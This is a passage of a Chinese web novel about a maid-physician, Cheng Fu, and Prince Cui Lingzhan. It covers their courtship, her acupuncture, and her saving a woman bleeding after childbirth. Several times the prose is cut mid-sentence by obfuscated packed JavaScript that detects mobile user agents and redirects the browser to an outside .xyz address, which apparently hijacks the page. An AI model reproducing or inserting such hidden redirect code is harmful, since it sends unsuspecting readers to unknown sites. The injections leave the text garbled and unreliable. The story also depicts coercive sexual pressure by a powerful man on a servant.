当时绿娆就在附近,闻声大惊失色,第一个反应是哪个不知死活的婢女在王爷的玩物跟前口无遮拦,致使它学会不好的话,第二个反应是快步上前敲鹦鹉的脑袋,呵斥:“闭嘴!叫你不学好,叫你不学好。” 她拿走程芙手中的汝窑鸟食瓷碗,道:“饿这小玩意一顿,我去查查谁教的。” 说着又指派一个扫院子的小丫头,叫把鸟笼子拿远些,万不可污了王爷耳目。 程芙才从怔忡中醒过来,眨眨眼,转而柔声道:“那我先去忙别的了。” 绿娆:“去吧。” 她知道程芙忙什么,同王爷去梅林。王爷一早就在惦记,还特意遣人先去那边打点过,把梅林的暖阁烧得热烘烘,以银霜小碳炉烤栗子、蜜桔,甚至命人把最爱的一张琴清英抱了去。 绿娆在心里纳闷,没听说程芙会抚琴呀? 今日无雪,天空碧蓝如洗,因昨日下过一场的缘故,空气钻入鼻腔干冷干冷的。 院中清爽利落,水纹梅花式的地砖好看又防滑,程芙裹紧斗篷稳稳走来。 崔令瞻立在庑廊上,一眼就注意到她,兜帽下的小脸凝白如玉,眸中似有潋滟横波,唇如嫩玉海棠。 比她美貌更动人的是那不疾不徐的脚步,拾阶而上,阶阶有仪,步步生莲。 任谁见了都会觉得她天生是一位贵女。 “王爷。”程芙福了福身。 崔令瞻迎上前,整理她被风吹歪的兜帽,双手错过她的肩膀、手臂,却握住了她柔弱玉润的小手,牵着她往梅林的方向而去。 身后是亦步亦趋的大小仆从。 程芙扫了崔令瞻价值百金的兰绒长袍一眼,袄袍里填充着平整细密的蚕丝,轻便又御寒。 绿娆说摸起来犹如隔着一层丝绵的手炉,还特许她摸过,果然柔软如云,韧如绫,散发着淡淡的雪松香。 他还披着银狐斗篷,光想一想程芙就觉得风和日暖,所以他的面色才凝白中泛着粉,他才能在这快二九天的梅林闲庭信步,优雅地赏梅香寒雪。 而她不过逛了三刻钟,已冻得哆哆嗦嗦,苍白的小脸在兜帽里发青,浑身上下唯一热气的来源是被他握在掌心的左手。 她轻轻吸了吸止不住往下淌的清水鼻涕,哪有力气提起赏梅的兴致。 崔令瞻渐渐也察觉不对劲,步子愈发放慢了,干脆顿住脚,回身打量她,被她的模样吓了一跳。 程芙紧了紧兜帽,仰脸望他,“王爷,您要回去不?” 她想进屋。 “你有寒症?”崔令瞻解下狐裘包住了她。 当脸颊被银狐的皮毛拥住,上一刻就要将她吞没的暴风雪陡然烟消云散了,世间仅剩下说不出的温存与和暖。 她赫然发现梅花是香的,雪是清冷美丽的。 原来这就是权贵门阀冬日里的感受。 “奴婢是有一些寒症。”程芙渐渐不抖了。 崔令瞻:“精于女科的医者治不了自己的寒症?” “奴婢的寒症并不难医。”程芙听出了他话里的讽意,坦然道,“只是需要一些时日,施针的同时需配以艾灸,再内服汤药调养即可根除的。” 崔令瞻想了想,欲言又止,化成了静默,因为他意识到了她没有那个条件。不是所有医者都买得起金针,便是银针都很难买,铁针倒是相对容易却也不便宜还不易保存,得不偿失。 况且她也买不起昂贵的补品。 而他见她穿得厚实,别人这么穿都活蹦乱跳的,便以为她也会。 崔令瞻突然觉得梅林的雪变得枯燥无味。 长及他脚踝的狐裘披在程芙身上拖了地,行走不便,程芙只好抽回被他牵着的手,边卷起蓬松的衣摆边道:“王爷,您着急的话就先走吧,奴婢……” 天空陡然倾斜了,她的身体因为惊讶而僵硬,却没有大呼小叫,看得出是把规矩刻进了骨子里。 崔令瞻打横抱起了她。 程芙一动不动,蜷缩在他怀中。他的手臂结实而有力,硬硬的但不似禅椅那般硌人,并不难受,甚至带着舒适的温度,这是她身体感知到的。 崔令瞻仔细看她,唇角忍不住上扬,想要蹭蹭她额头。 程芙不自觉往后仰了仰。 两个人于众目睽睽下这般回到月地云斋,坐实了所有人心中的猜测,有艳羡也有嫉妒,但更多的是喟叹自己的命。 直到走进了暖阁,程芙才轻轻动了动,他没有放她下来的意思,绿娆等人早不见了踪影,只余熏炉淡淡四时清味。 昨夜洗过澡的程芙扭头看见晨光浅浅,这种时候再说烧水沐浴也太刻意了些,难免得罪他。她只好温顺地由他将自己放在炕沿,心里琢磨着等下如何开口去趟净房,以便吞服避火丸。 她垂眸,看男子的手指一下一下挑开厚重的狐裘。 热气腾腾的暖阁,通常只需穿一件小袄,当狐裘离身,程芙感觉呼吸都轻畅了不少。 紧接着他又去解她的斗篷,依然耐心,先挑开衣结,展臂将狐裘和斗篷从她身下抽走,再轻轻一推,她就仰倒在了炕上,动也不动,似一朵靡艳的落花,不断拉扯着年轻男人绷紧的心弦,岌岌可危。 崔令瞻呼吸渐屏,滚烫的血液于隐秘中暗暗汇向了一处,沸腾着叫嚣着,催促他直奔正题,寻一条出路,抽出这积淤多日的压抑,平息魂牵梦萦的妄念。 反正她同意了,他在怕什么? 即便中途反悔,她也不敢反抗的。 崔令瞻俯身压下去。 程芙扭过头,避开朝自己嘴巴袭来的黑影,崔令瞻扑了个空,讪讪的唇只能落在她颈侧。 她眼睫轻眨,脖颈传来潮湿灼热的触感,那个微小的躲闪到底是影响了他的兴致,他突然停了下来,未再继续。 程芙顿一顿,慢吞吞回眸瞥向他。 他怔怔问:“我可以继续吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过也没有纠结太久,因毅王的唇泛着健康红润的光泽,牙齿洁白整齐,通身更无不妥的异味,反而说不出的干净清新,淡淡的香,比她还香。 种种来看,其实也不是不能忍。 主要是不亲密相处的话就永远也拿不到他的信任。 她需要他的信任。 冬月十八,毅王依然未回府,礼物却如常送进了程芙房中,一套做工精良的金针和大包小包的珍贵药材。 两三年没碰过金针了,略微手生,所幸基础还在,她把针捏在指间,发了会呆。 小丫头在门外笃笃叩了叩门,轻声道:“小姐,薛姑姑请您出去见客。” “哪里的客人?” “奴婢不清楚,只知是香山的匠人。” 自古能工巧匠出香山。很快程芙就知道了来人的目的:为她量身定制一套金针。 测量手指、手掌乃至手臂的尺寸以及发力的习惯皆为打造前不可或缺的步骤,这套针也将成为最适合程芙的孤版。 匠人毕恭毕敬道:“小人师从钟离泉,曾为太医署的御医打造梅花飞针,担保为姑娘所造不输于此。” 毅王送的那套只不过是先让她玩玩的,这里才是重头戏,工期略长。 12. 第 12 章 匠人误以为程芙是王孙侯府里雇佣的了不起的医女。 程芙不多解释,略一颔首:“有劳师傅。” 此事没过多久便传进了付大娘耳中,她一向消息灵通,更何况关于程芙的“大喜事”。 程芙一直都是下人们私下议论的焦点,当然多是些好话,没人敢明着说句不好。 几日不见,付大娘还怪想的,未料飞上枝头的程芙竟有空来瞧自己,登时高兴地一把攥住程芙的手,将人往屋里请。 “我说你可算有了盼头,你姨母的事放在王爷那里就是一句话……” “还请大娘帮我保守秘密。虽说也不是多大的秘密,只是能不叫王爷知道的话更好。”程芙道。 啊?付大娘愣了下,问:“为何?” “我与你们不一样,不是受雇更非普通的身契买卖,而是犯了事才被罚入王府为奴的,能不麻烦王爷便不麻烦的好。”程芙柔声道,“免得给他也给我姨母添乱。” 付大娘意会了,表情变得有些复杂。 崔令瞻隐约记得程芙有个姨母,但他在宣阳待了半年,很难关注没那么重要的点,而今才回王府不久,程芙又未曾求他,自然就搁置了。 程芙深知这点就更不想劳动他,唯恐姨母不理智做些什么,更怕他对姨母做什么。 付大娘的复杂表情越来越明显,明显到程芙无法忽略的地步。 “大娘可是有话与我说?”她问。 “呃,阿芙啊。”付大娘支吾道,“我原本没考虑太多,就想着帮帮你的,所以……” 程芙睁了睁眼望着她。 付大娘叹口气:“所以就求到了凌大人跟前。我与他有些渊源,他的面子最大,要不是为了你,我可舍不得动这么大的人情。” 她动用了自己在世上最大的关系,心疼之余总算松了口气,没想到可能会搞砸,当下自责不已,五味杂陈,却被程芙突然抱住,一叠声感激着。 程芙安慰了她好一会儿,笑道:“无妨的,本来就不是惊天动地的大事,凌大人知道了又如何,他又不是三岁小儿,为我这样的身份跑去王爷跟前多嘴。” 事实上付大娘的面子也没多大,凌云心情好可能去帮帮,不好定然置之度外。 哪有想象的那么严重。 付大娘登时反应过来,破涕为笑。 程芙跟着她一起笑。 果真如程芙的预料,凌云并未当回事也不想掺和,甚至觉得莫名,程芙不是已被王爷睡了,自己去床上求啊,找他作甚? 不过付大娘于他有些恩情的,他待付大娘甚为客气。 十八那日他当值,恰逢王府发放例赏,他照例送去了生药馆,每年送两次。 不意在门口就被婆子拦下了。 婆子点头哈腰解释道:“大人稍等片刻,芙小姐正在里面呢。” 凌云“嗯”了声,将例赏放在地上,抱臂倚墙而立。 这个年轻人素来好说话,从不为难人,王府的人都很喜欢他,婆子也不例外,笑吟吟问他要不要喝杯茶,他摆摆手。 日影将他线条分明的下颌镀了层淡淡的光晕,瘦削又倔强,婆子看着他笑,年纪大的人对漂亮的小孩子就是越看越爱的。 付氏送程芙出了角门。 程芙:“大娘且留步,如今我有芳璃了。” 自从毅王默认她是通房,薛姑姑就把芳璃安排过来伺候她,一切都比照着小夫人的标准。 逾不逾制无所谓,只要毅王不反对,谁也不敢置喙。 付大娘真心替程芙高兴,说话间,程芙注意到了不远处的人,有些突兀,他穿着王府亲卫的罩甲,左手勾着件长衫斜斜搭在肩上,嘴里还叼着根草,就那样旁若无人地站在生药馆附近,过路的两个小婢女偷眼瞧他,低头轻笑,红着脸快步路过,他也不恼。 这个人便是凌云,毅王的亲信之一。程芙的记性极好,通常见过一面的人都不会忘。 似是察觉到了什么,凌云格外敏锐,撩眼就对上了程芙的视线,程芙来不及收回。 他眉心微扬,“噗”地吐了衔着的那根草。 程芙泰然自若移开视线,与付大娘作辞,转身走了。 付大娘发现了凌云,笑容更甚。 “是阿云呀,近日辛苦了,可要过来喝碗茶?” “不了,东西你收好。”凌云瞥了眼程芙的背影,与付大娘说道,“上回你拜托的事,得闲我就去问问。” 付大娘一把拉住他,也不管他是真心假意,连忙道:“算了算了,她已飞上枝头,这些用不着咱们操心。” “哦好。” “是了,其实一开始我也是为你好。她这般美貌将来不知多得宠,你要是卖她个好,她在王爷跟前吹吹枕边风,好处不都是你的。” “多谢大娘惦记我。” “嗐,大娘不为谁好也得为你好是不?”付氏笑道,“你可千万别去毅王跟前说什么,弄不好就好心办坏事的。” 凌云“嗯”了声,“我也没空。” 就知道这小子滑不溜手的,付大娘白了他一眼,瞅见今年的例赏立时又心花怒放。 凌云寒暄几句便与她告辞,她拎着例赏欢欢喜喜回屋去。 按说事情到这一步也该结束了,偏偏次日下值时凌云遇见了老熟人,偏偏那人在府衙不俗,又偏偏那人系着的荷包上绣着一枝杏花。 那人找他契阔,勾肩搭背去了最好的酒楼雅间,酒过三巡,凌云鬼使神差问了句:“你帮我查个人。” “莫说一个,十个我也帮你查了。” “三年前桑树街的一个女户,叫柳余琴。” 那人让随从记下,继续与凌云侃侃而谈,不出两日就送来一份誊抄的存录。 凌云仔细翻了翻,柳余琴乃程芙生母柳余烟亲姐,姐妹俩被专做瘦马生意的虔婆收养,养到十五岁明码标价梳拢费。后因妹妹做富家子弟的外室得以脱离贱籍。 柳氏姐妹颇通医术,在当地街坊的口碑极好,然而做外室的十有九悲,两年后妹妹诞下程芙并遭富家子抛弃,再后来沾上点事,姐妹俩不得不各奔东西。 柳余琴留在了澹州,期间去清安县徐知县家闹过两次,差点被打死,就一个人在澹州独居数年,三年前中了太医署的会考才搬去京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422429|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师。 凌云是寒门子弟,家族没落,经历过底层生活,熟知美貌的底层女子可能遭遇什么,程芙是一朵腐烂淤泥里开出的花。 此时此刻远在数百里外的清河县县衙,徐夫人眼泡红肿,额角贴了两副黑乎乎的膏药,兀自靠着引枕垂泪。 茂哥儿旧伤还未愈,一大早又被徐知县命人拖到祠堂打了三十竹板,笞刑之下臀部早不剩一块好肉了。 事情都过去了半年多,徐知县还未消气,自从赔了范参政半副身家,他隔三差五都要痛骂徐峻茂一顿,最近又被罚了俸,更是气得一佛升天二佛出世,两天连打了徐峻茂两顿。 “敢情儿子不是他自己生的。”徐夫人嚎啕大哭。 一屋子仆婢慌忙围上来,呜呜咽咽。 徐夫人悔不当初,要不是一时糊涂她就能以嫡母的身份将程芙那个小贱人从澹州抓回来了。 原来程芙的册籍尚属于澹州,手实与徐家更是没有丁点关系,徐夫人一向憎恶她,怎会真心将她记在名下,当初为了给范参政做脸面才对外胡说的。 正因如此,明知程芙在澹州,徐家也拿她无可奈何。 徐夫人“啊”的怒吼一声,撕烂了两条丝帕。 半死不活的徐峻茂被四名男仆抬回了书房,浑身伤痛,火燎燎地疼,他有气无力哼着,任由婢女小厮上药。 实在是太疼了,他再也不想挨揍。 徐峻茂抹了把眼泪,不是疼的,而是意识到芙妹妹再也不会回来,可他宁愿得不到她,也不要她嫁给六十岁的范参政。 只是他花光积蓄买假册籍和路引,实在没有多余的银钱送她,下了船她该何去何从? 他怕她去花别的男人的银子,又怕没有男人给她银子花。 二九天,天寒地冻,程芙屋里的银霜炭就没断过。 她的房间温暖如春,穿一件单薄的小袄就过得去,高低错落的几案摆着四季鲜花,它们与她一样不畏寒风料峭,肆意盛开。 芳璃端来一盅燕窝,还有一碟荔枝蜜。 程芙安静地看书,胳膊扎了圈金针。 起初可把芳璃吓得不轻,以为芙小姐中了邪。程芙笑了笑,给她讲人体腧穴,趁她不注意还扎了她一下,芳璃憨厚地笑,继而睁大了眼,不疼且准,再看向程芙,她的眼神就湛湛地亮,早听闻细如牛毛的金针扎一扎能治许多病症,没想到芙小姐也精通! 月地云斋的婢女们新奇不已,恰逢有人月事难熬,斗胆寻医,被芙小姐扎上两针,钻心的绞痛果真没了。 不出三日,婢女们待程芙的态度就含了几分微妙的真诚。 有什么趣事也会当着她面说,一起乐呵,她好奇什么,大家更会主动说与她听。 一来二去更热络。 唯独毅王是个难题。 程芙觉得他比徐峻茂难应付百倍,想到要在这等人手里周旋,那多两分欣赏总比多两分轻慢更有利,于是她刻意加强了礼仪规矩的学习,投其所好。 小寒,离府将近九日的毅王突然回归,同行亲卫到处夸耀王爷如何英武卓绝,亲猎五只赤狐,其中一只还是活的,巴掌大。 13.第 13 章 那是只活的小奶狐,人一靠近它会缩成巴掌大一团,谁要把它拎起来,立刻变了脸,龇牙咧嘴哇哇叫,夹着尾巴。 有经验的猎人把它洗干净、喂饱,套上柔软皮革镶嵌的金链子,拴在铁笼里,再由仆婢送去程芙住处。 多可爱的小玩意,没有女孩儿见了会不欢喜。进献的婢女满目艳羡。 程芙望着笼子里的小狐狸呆了呆,芳璃当场爱不释手。 “我不喜欢野物,放了吧。”程芙忽然说。 芳璃咬了咬下唇,为难道:“这是王爷猎给您的,不太好吧。” 程芙轻轻蹲下,歪着头打量小狐狸,它被驯怕了,往后缩,她一伸手,它就闭上眼,拱起的后背毛绒绒,颤颤的,直到脖颈恢复自由,它才愣了,下一瞬“嗖”地跳出笼子,矫健灵巧,眨眼钻出房门,跃向草木花丛,尚未落地就被人捏着脖子提了起来。 崔令瞻垂眸打量着它,蓦地笑了一声,将吱吱乱叫的小东西丢给墨砚。 “王爷。”程芙抬眸发现他,数日不见他精神饱满。 崔令瞻走过来,屋子里的婢女纷纷福身退了出去。 “放生好歹也挑个合适的地方。”崔令瞻道,“这么放不怕被王府的细犬当田耗吃了?” “是奴婢思虑不周。”她为难道,“只是不喜难驯的野物。” “嗯。”他说,“那便放了。” 温和且随意。 程芙上前服侍他宽衣,他自己卸下斗篷,丢给她。 程芙将斗篷挂上衣架,展平,感觉身后有人靠近,是他,一手搭在鸡翅木架上,距离近了,看上去仿佛把她圈住,声音从头顶传进了耳朵。 他问:“我不在的几日,你都忙什么?” 她还能忙什么,便是忙了也不差人一五一十说与他听的。 程芙:“看看书,写写脉案。” “还放不下你的营生?”他让了让,给她让了点空间,程芙就从这点空间穿过,径直走到桌前为他沏茶。 “奴婢只会做这个,技多不压身。” 崔令瞻坐进圈椅接过她递来的茶,放在桌上,“这些天,本王一直在想我们的关系。” “奴婢听着。” “你欠本王。” “是。” “本王不该对你好,却不忍亏待你。” “王爷仁慈。若能回到过去,奴婢便是一万个胆子也不会再犯上。”她款款走上前,姿态端正,慢慢地蹲下去,仰望着他,眼睛里是明晃晃的懊悔。 崔令瞻心头一颤,覆住她搭在自己膝上的素手。 这番标准答案有没有令他满意,只有他自己清楚。 她像一只被规训好的小狗,默默把脸颊贴在了他手背,露出一段雪白的颈。 他愈发慌乱,脱口而出,“我会负责的。将来你若想嫁人,我就为你寻一门托付终身的亲事……” 程芙闻听此言,泪盈于睫望向了他,许久才轻言细语道:“王爷情深义重,奴婢实在是羞愧难当,惟愿在王爷身边的这段时日尽心侍奉,不负您的恩情。” 崔令瞻瞬也不瞬望着她眼眸,没有男人不吃淑女的温柔小意,也不是没有疑惑,但当下是来不及细思的,她泛红的粉靥犹如海棠初醉。 箝起她的下巴,他倾身噙住两片诱人的唇。 程芙仰着脸,放空了双目,迎接一阵阵绵密细致的侵略,忍不住往后倒,后脑勺就被一只大手托住。 她两手慌忙抵着他的肩,推了推。 崔令瞻依依不舍分离,她憋坏了,大口大口喘气,垂下脸,额头轻抵他的下巴,他忍不住低头再次亲吻,吻她耳垂、脸颊,嗅到了她柔软的气息,像清风吹过夏天的葡萄叶子。 待她好受一些,他又埋进她的颈窝,“阿芙,阿芙……” 这番冒犯的动作惊得她呛了下,咳嗽出来,下巴垫在他肩上,好一会才平息。 他一下一下拍着她的背,也一下一下抚平自己起伏的心潮,期间察觉她偷偷擦嘴的小动作,他假装浑然不觉。 “燕窝再不吃便凉了。”他说。 “王爷,您吃不?” 他想起她擦嘴的动作,喉咙紧了紧,轻声说:“不。” 她肩膀遂松弛下来,离开他的怀抱,将燕窝端来,坐在他身畔小口小口地吃。 崔令瞻翻着她抄写的脉案和《脉经》。 “我那里也有几本医书,改天让墨砚整理给你。” “多谢王爷。您也看这个?” “略看。” 又是一阵安静,她吃东西相当斯文,一丝瓷器的碰撞声也无。 崔令瞻凝看她柔顺的侧脸,有些陌生,总觉得她不太像她。 待她吃完他才离开。 是夜路过她房门,门前铺了一地月光,两扇门扉轻轻一推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424823|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能开,而他脚步却未敢停留。 其实他有些害怕,此前也没有经验,查阅医书方知这个年纪的女孩那种事难免吃痛。 他不想她痛,可她早已不是处-子,应该不会痛了…… 徐峻茂体贴吗?温存吗?为何听见那人的名字,她眸中总会浮着不为人知的柔光。 他见过徐峻茂的画像,同她一般年纪,有张俊美的小脸和天真的眼睛。 单纯又好骗。 心眼多的人都喜欢傻的。 月地云斋几天前换了两名粗使婢女,无人过问。程芙知道缘由,两个有宿怨的婢女瞅准时机相互咒骂,一句“贱婢”叫廊上的鹦鹉学去。畜牲懂什么,只会学舌,偏学舌时对着程芙,这可是未来的小夫人,那绿娆可不敢轻饶了她们。 这样的事情飞溅不起任何水花,却人人自省,在主子的地方,哪有奴婢污言秽语的道理。 倒霉的白凤头也被退回了珍禽房,换了只更漂亮的蓝羽胭脂牡丹。 廿三飘起了小雪,二九天益发寒冷了,小郡主抱着哥哥送的碧眼波斯猫儿,蹦蹦跳跳闯进月地云斋。仆婢一瞧见她,忙屈膝问安,她头也不回飞奔进明间,一把抱住崔令瞻的腿,仰着小脸咯咯笑。 波斯猫被她夹在中间,发出不满的喵喵声,四脚蹬了蹬跳到地上,甩甩脑袋。 乳母跟进来,见毅王捏着郡主肉乎乎的小圆脸,问她是否乖乖用早膳。 崔毓真忙回用了,还特别强调一句:“这次的牛乳我喝光了。” 哥哥离开多日才回府,年幼的崔毓真十分想念,她还小,对父王没有任何记忆,母妃也只剩一团模糊的影子,唯有长兄是清晰的。 至于二哥哥,她不是很喜欢,嫡出与庶出天然的壁垒,使得她与二哥哥亲近不起来,当然二哥哥也不亲近她。 “咦,你是扫园子的婢女。”崔毓真好奇地打量程芙。 崔令瞻的目光也倏地瞥过来。 程芙屈膝施了一礼,“回郡主,是奴婢。” “你为何在我哥哥的房间?” “奴婢提了等,现在是二等婢女。” 崔毓真觉得怪异的是二等婢女打扮得比绿娆还有派头,墨砚绿娆都在外面守着,这人却与哥哥单独在屋里。但她这个年纪想不了太复杂的,转过头与哥哥说话,就此揭过。 崔令瞻收回视线,心不在焉地与妹妹离开了此间。 14.第 14 章 毅王被小郡主纠缠自是没空再纠缠快要到手的小玩物了。程芙意识到这点,遂回到自己的住处整理脉案。 自从皇后凤体康复,体恤天下女子不易,方着礼部下懿旨:“民间凡通医妇人,皆可到当地府衙处会选,参选太医会考,中选者注册备召。” 本意是为保障上层的利益,毕竟妃嫔也是人,是人就会生病,有些病诸多尴尬,实在不便对御医开口,更遑论其他贵族女子。 一时间各地的医婆皆以入选为荣,真有本事的必将脱离三姑六婆的贱业,成为享朝廷俸禄的医女。 程芙从记事起先学了百药图再习字,当别的小孩还在玩泥巴她已经能跟着阿娘走街串巷行医。被岐黄之术浸染着长大,常常用以谋生,参选之心自不必说。 她一直在充实阅历,见缝插针地打听会选的具体章程、地点乃至历年中选者的水平。 也从未忘记自己的初心。 就像丛林狩猎的小黑豹,勇敢且缜密,为了一个目标从白天蹲到黑夜,又从黑夜守到黎明,一旦时机成熟,便如离弦之箭,一击毙命。 辰初时分雪停,跑腿的小丫头站在门口请芳璃代为通传:“付大娘想见芙小姐,烦请姐姐进去禀告一声。” 芳璃忙进屋回话,程芙果然重视,把付氏请进屋。 付氏鼻尖冻得通红,几缕碎发毛毛躁躁的,见到程芙就问:“我记得你会下针对不?” “是。”程芙吩咐芳璃,“给大娘倒杯热饮子。” “不了不了,性命攸关,我等你救命呢。” 程芙美眸微瞠,“何事?” 付大娘一拍大腿,“我老姐妹的儿媳难产大出血,怎么止也止不住,想来唯有金针能救,我立刻想到你。” 病急乱投医也好,死马当活马医也罢,拥有金针还会下针的人除了程芙翻不出第二个,有也是朝廷御医。 奴仆家生子去请御医……莫说有没有资格,便是千般计谋请动了,鬼门关的人也等不起。 芳璃抱来了出门穿的丝绵袄袍和貂绒斗篷,程芙三下五除二套上,提了医箱,言简意赅道:“带路。” 付氏和芳璃抢着帮她提医箱,三人踏雪疾走,半路上被绿娆喊住,程芙一惊,意识到自己未经允许差点走出三进院,这是樊笼的红线,她不能越过。 要知道家仆的群居舍院在一进,距离外界一墙之隔,人来人往,外男无数。 出去了,谁知哪天会不会拿错主意。 毅王待她看似温和宽容,实则防备心极重,她逃婚的路数他一清二楚,通过唐妈妈的口警告过她:切莫将这里当成徐知县的县衙兴风作浪。 他说的话她得听着,不听的后果她尚未经历,也不敢经历。 她走得急没想那么多,现在望着绿娆,一下子都想起来了。 三人战战兢兢瞅着绿娆。 “这里离一进院得多少脚程,付大娘自己用腿跑也不怕冻坏累坏芙小姐。”绿娆说,“我让诗棋赶了辆骡车在角门候着,你们快去快回。” 程芙与付氏震动,目光复杂地瞅着绿娆,付氏一叠声地道谢,程芙唇角微抿,轻声道:“我会回来的。” 绿娆勉强笑了笑。 王府等级分明,严刑峻制,程芙闯祸,这里的人可能都要遭殃,绿娆顶着压力放她出三进院不是有多欣赏她这个人,而是那躺在床上奄奄一息的产妇是她在王府为数不多的挚交。 这产妇也是命不该绝,嫁了户好人家,公婆均为王府体面的管事,又靠着婆母的脸面请动了四进院的芙小姐,还有多年密友绿娆大开便宜门。 一关关一道道,放在普通百姓身上早不知死了几回,她愣是等到了程芙。 程芙在门口褪下斗篷,尽可能不把寒气带进产妇的房间,自己提了药箱入内,付氏紧随其后。屋里站着两名妇人——稳婆和付大娘的老姐妹孙妈妈。 双方顾不得寒暄,三两句交割了产妇的情况,程芙净了手,再以烈酒涂抹,尤其指缝多涂了两遍。 稳婆帮忙掀开棉被,唉声叹气道:“老身再不下剪子孩子就要憋死了,抱出来时嘴唇都是紫的。” 程芙看过去,满目赤红交错,浑身的感知为之震颤,诞生竟是一场如此残酷的壮歌。 其实她也是第一次应对,她是个纸上谈兵的野郎中。可下一瞬她想到了阿娘,突然就有了勇气。 正如付大娘所说,怎样都是个死,眼下既没有针更没有会下针的,你看着办吧。 活不活便是她自个儿的造化。 付大娘和孙妈妈抱头痛哭。 “付大娘帮我温针。”程芙回头看付氏,“待我落完针再以艾条熏烤产妇针阵。” 她只有两只手,无法同时施针与艾灸。 付氏马上净手过来辅助,烧艾她最是在行。 所谓温针便是先以艾条烘烤金针,程芙用烤过的金针在产妇的隐白、关元、气海、足三里分别布成针阵。 房间里的人看得清清楚楚,当程芙施针至气海,血流的速度明显减缓,至足三里时完全止住。 面色蜡黄的产妇随之发出了蚊吟般的呢喃:“水,水……” 失血过多引起了异常口渴。 孙妈妈见儿媳有了反应,大喜过望,连忙给她倒了一大碗红糖水,斜放根芦苇管,不等送到儿媳嘴边却被程芙截了。 “我来。” “这怎好央烦小姐,罪过罪过。” “无妨的。” 程芙亲自喂,掐着分量,不等产妇喝痛快便撤了碗,然后吩咐稳婆和孙妈妈先帮产妇排内急。 产妇哀求再喝一口。 孙妈妈哄着她排内急,排完了再喝。产妇并不想小解,她忘了自己生了多久的孩子,膀胱也早已失去知觉,可为了尽快喝到水只能回忆从前如何小解,继而用力…… 水声哗啦啦,响了许久才停下。孙妈妈目瞪口呆,难以置信,若非芙小姐提醒她们,那膀胱岂不是要炸了。 当兵荒马乱归于宁静,婴孩也开始啼哭,饮下了降临人间的第一口糖水。 产妇平躺在温暖的被窝里,疲惫地睡去。 程芙连开两张药方,一剂补血,一剂产后护理。直到此刻她才发现自己的手微颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429422|184773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纸上谈兵也不全是花架子,至少她模仿阿娘的手法成功了。 孙妈妈的大儿子哽咽着给程芙磕头,二十好几的汉子哭成泪人。付大娘把他拉起来,拍着肩膀安慰。 这是个疼媳妇的,儿子疼媳妇要死要活,做爹娘的心也跟着揪起。 孙妈妈抱着襁褓里的小孙儿不停道着谢,她对儿媳的爱护有一半是因儿子,儿子离不了儿媳。适才情势所迫来不及多想,此时回过味,想起了芙小姐的身份,又想起自家的身份,恩义尽在不言中。 程芙救人时也没多想,此时也回过味,意识到自己救了谁——王府大管事之一刘德的儿媳。 管事是奴不假,但做到了这个身份的奴,手里隐形的权力大到看不见。再看他家住的地方,气派宽阔非左邻右舍能比,外面还不知有多少田产。 程芙俯身亲手搀起孙妈妈。 孙妈妈就着程芙的力道,缓缓起身,激动道:“将来满月,他们母子再去给小姐您磕头。” 程芙:“先养好身子要紧。” 刘德一家人有惊无险,哭罢笑罢,感恩戴德不消多说,邀请程芙为上宾吃酒。付氏拉着老姐妹的手,说道:“芙小姐还要伺候王爷,这厢就不跟你客套了。” 孙妈妈连连称是,向程芙告了罪,“是我高兴糊涂了,小姐这边请。” 她亲自送程芙上车,一同送上去的还有诊金和一只剔红漆匣子。 程芙与芳璃从一进院回到月地云斋的时候,绿娆迎面走来,低头道:“王爷巳正二刻回来的,用膳时找你,我便据实已告了。王爷仁慈,没同我们计较,只你见到他时多说两句软话,总归不会出错。” “好。”程芙点了点头,“我记住了,多谢。” 绿娆急匆匆离开。 芳璃要了热水,不久两名粗使婆子提来了六桶,足够程芙洗去产房带出的血腥气。烘头发时,芳璃特特抓了把桂花芯投进熏炉,香气登时直冲天灵盖。 程芙紧了紧秀气的俏鼻,好在烘完浓香消退了大半,等挽好发髻则更淡了,极雅。 “小姐,王爷要见您。” 毅王的时间掐得刚刚好,程芙这厢收拾完,通传的人便到了。 门口过来传话的婢女粉雕玉琢,叫玉露,二等,放在美人扎堆的王府也算是极为出众的那种。 月地云斋的下人曾专为程芙和玉露设过赌局,赌王爷先召谁侍寝,最终程芙以略胜半筹的美貌占得先机。好事者又在暗中期待着两个大美人儿“交锋”,期待一山不容二虎的戏码。 谁知不是所有美人的心思都在邀宠上,程芙有其他心思,而玉露尚未开窍,虽与程芙同龄却懵懵懂懂的,对王爷的畏大过慕,想不到男女那方面。 